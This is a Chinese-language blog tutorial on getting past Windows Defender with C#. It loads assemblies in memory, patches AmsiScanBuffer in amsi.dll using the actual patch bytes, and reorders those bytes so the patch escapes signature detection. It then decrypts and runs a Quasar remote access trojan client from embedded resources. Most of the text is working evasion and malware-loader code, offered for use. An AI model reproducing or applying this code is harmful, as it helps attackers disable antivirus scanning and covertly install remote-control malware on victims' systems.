使用C#动态加载与ASMI Bypass绕过Windows Defender

1. 什么是C#的动态加载

C#允许使用Assembly动态加载DLL/EXE等可执行文件,并且可以调用其中指定的函数,写法如下


Assembly assem = Assembly.Load(payload);
MethodInfo main = assem.EntryPoint;
main.Invoke(null, new string[] { null });

其中加载支持从文件或从内存加载,分别有如下实现
-w1181
为了防止文件落地,我们一般只使用内存加载,因为如果你的payload被杀,也无法通过文件进行加载,如果使用内存加载,我们就可以先对Payload进行一定的混淆加密,这样在运行之前都不会被查杀

2. 什么是ASMI与如何Bypass

ASMI实际是程序在运行的时候会被注入一个asmi.dll,该文件会对程序运行时进行动态查杀,并且会查杀之后返回一个ASMI_RESULT,这里result里面存储了查杀的结果。
如果我要进行bypass,只需要hook这个result,让其返回一个正常结果即可实现绕过ASMI的检测。
github上有现成的实现,直接拿来用即可
https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/master/ASBBypass/Program.cs
核心部分如下

public class Amsi
{
    // https://twitter.com/_xpn_/status/1170852932650262530
    static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
    static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };

    public static void Bypass()
    {
        if (is64Bit())
            PatchAmsi(x64);
        else
            PatchAmsi(x86);
    }

    private static void PatchAmsi(byte[] patch)
    {
        try
        {
            var lib = Win32.LoadLibrary("amsi.dll");
            var addr = Win32.GetProcAddress(lib, "AmsiScanBuffer");

            uint oldProtect;
            Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);

            Marshal.Copy(patch, 0, addr, patch.Length);
        }
        catch (Exception e)
        {
            Console.WriteLine(" [x] {0}", e.Message);
            Console.WriteLine(" [x] {0}", e.InnerException);
        }
    }
}

但是因为该库可能使用的人比较多,导致该dll会被查杀,我们只需要修改

static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };

把其中的数组顺序改一下,然后在输入的时候还原回去即可
少做修改如下

    public static void PatchNew()
    {
        byte[] patch = new byte[8];
        patch[0]= 0xB8;
        patch[1] = 0x57;
        patch[2] = 0x00;
        patch[3] = 0x07;
        patch[4] = 0x80;
        patch[5] = 0xC2;
        patch[6] = 0x18;
        patch[7] = 0x00;
        //0xB8, , , , , , , 

        try
        {
            var lib = Win32.LoadLibrary("amsi.dll");
            var addr = Win32.GetProcAddress(lib, "AmsiScanBuffer");

            uint oldProtect;
            Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);

            Marshal.Copy(patch, 0, addr, patch.Length);
        }
        catch (Exception e)
        {
            Console.WriteLine(" [x] {0}", e.Message);
            Console.WriteLine(" [x] {0}", e.InnerException);
        }
    }

3. 用起来

首先把ASMIBypass编译出来,最后会生成一个DLL文件,我们新建一个C#的项目工程,可以直接引用这个dll文件,也可以通过我们前面说的动态调用进行执行,我这里对这个DLL进行了简单的混淆,并且把它加到资源文件中,最后通过动态调用他执行Bypass。
-w413
其中调用ASMIBypass部分代码如下

    public static void LoadBypassDll()
        {
            Assembly assembly = Assembly.GetExecutingAssembly();
            Assembly myAssem = Assembly.GetEntryAssembly();

            string asb = Resource1.ASBBypass_dll;
            string result = Dencrypt(asb);

            byte[] payload = Convert.FromBase64String(result);
            Assembly assem = Assembly.Load(payload);
            var theType = assem.GetType("HelloWord");
            var c = Activator.CreateInstance(theType);
            var method = theType.GetMethod("PatchNew");
            method.Invoke(c, null);
        }    

然后把我们的马也进行混淆加密,同样放入资源文件
我这里用的Quasar-1.3.0.0生成的客户端
-w349
然后动态调用其入口函数

    public static void LoadShellCode()
    {
            string result = Resource1.install2_exe;
            result = Dencrypt(result);
            byte[] payload = Convert.FromBase64String(result);
            Assembly assem = Assembly.Load(payload);
            MethodInfo main = assem.EntryPoint;
            main.Invoke(null, new string[] { null });
    }

剩下我们只需要在程序运行的时候先调用Bypass,在运行我们的马即可

namespace ASMIbypassM
{

    class Program
    {
        static void Main(string[] args)
        {
            Bypass.LoadBypassDll();
            Bypass.LoadShellCode();
        }
    }
}

最后运行毫无压力
-w1689

标签: none